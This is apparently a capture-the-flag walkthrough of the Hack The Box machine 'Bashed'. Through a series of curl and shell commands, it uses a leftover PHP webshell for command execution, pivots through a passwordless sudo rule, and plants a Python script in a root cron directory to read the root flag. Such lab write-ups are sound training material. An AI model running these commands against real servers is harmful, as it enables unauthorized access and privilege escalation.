Bashed
A PHP webshell left in a publicly-accessible /dev/ directory on an Apache server provided unauthenticated command execution as www-data, landing the user flag without any authentication.
Overview
Bashed is an easy-difficulty Linux machine built around a series of real-world misconfigurations. Directory enumeration uncovers a /dev/ path hosting phpbash.php, a browser-based PHP webshell the developer left on the production server — browsing to it gives immediate command injection as www-data. From there, a sudo rule lets www-data pivot to scriptmanager without a password, and a root-owned cron job that executes all Python scripts in a scriptmanager-writable /scripts/ directory completes the chain to root.
Machine Matrix
High Real-Life axis reflects how commonly leftover dev tools, overpermissive sudo rules, and root-owned cron jobs over writable directories appear in real production Linux environments; no CVE and no custom exploit were involved.
Recon
| Port | Service | Notes |
|---|---|---|
| 80/tcp | Apache httpd | Linux web server, site about the phpbash tool |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p80 -sC -sV -Pn 10.10.10.X
Only port 80 was open. The Apache web server hosted a site whose homepage text stated the author developed phpbash on this exact server, hinting that the tool might still be present.
Enumeration
Browsing the site confirms it is a static homepage advertising the phpbash project. A gobuster scan of the web root uncovers a /dev/ directory:
1
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50
Navigating to http://10.10.10.X/dev/ reveals phpbash.php — a fully functional browser-based terminal that accepts OS commands via a POST parameter and returns output directly. No authentication, no IP restriction.
Foothold
Confirm unauthenticated RCE via the webshell POST interface:
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" -d "cmd=id"
The response confirms execution as www-data. All subsequent commands are issued through this interface. Check sudo rights:
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -l"
Output shows (scriptmanager : scriptmanager) NOPASSWD: ALL — www-data can run any command as scriptmanager with no password, an improper privilege management misconfiguration.
User flag
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=cat /home/arrexel/user.txt" # HTB{...}
The webshell running as www-data has read access to arrexel’s home directory; the user flag is ours without needing a full interactive shell.
Privilege Escalation
Pivot to scriptmanager using the unrestricted sudo rule:
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -u scriptmanager id"
Inspect the /scripts/ directory:
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -u scriptmanager ls -la /scripts/"
/scripts/ is owned and writable by scriptmanager. A test.txt file there is owned by root with a very recent modification time, confirming a root cron job is executing scripts in this directory approximately every minute. This is an incorrect permission assignment — root trusts a directory it does not control.
Write a malicious Python script as scriptmanager:
1
2
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" \
--data-urlencode "cmd=sudo -u scriptmanager bash -c 'echo \"import os; os.system(\\\"cp /root/root.txt /tmp/root.txt && chmod 777 /tmp/root.txt\\\")\" > /scripts/pwn.py'"
Wait up to one minute for the root cron to fire, then read the flag:
1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=cat /tmp/root.txt"
Root flag
1
cat /tmp/root.txt # HTB{...}
Root-owned Python execution over a writable directory completes the chain — full compromise of Bashed confirmed.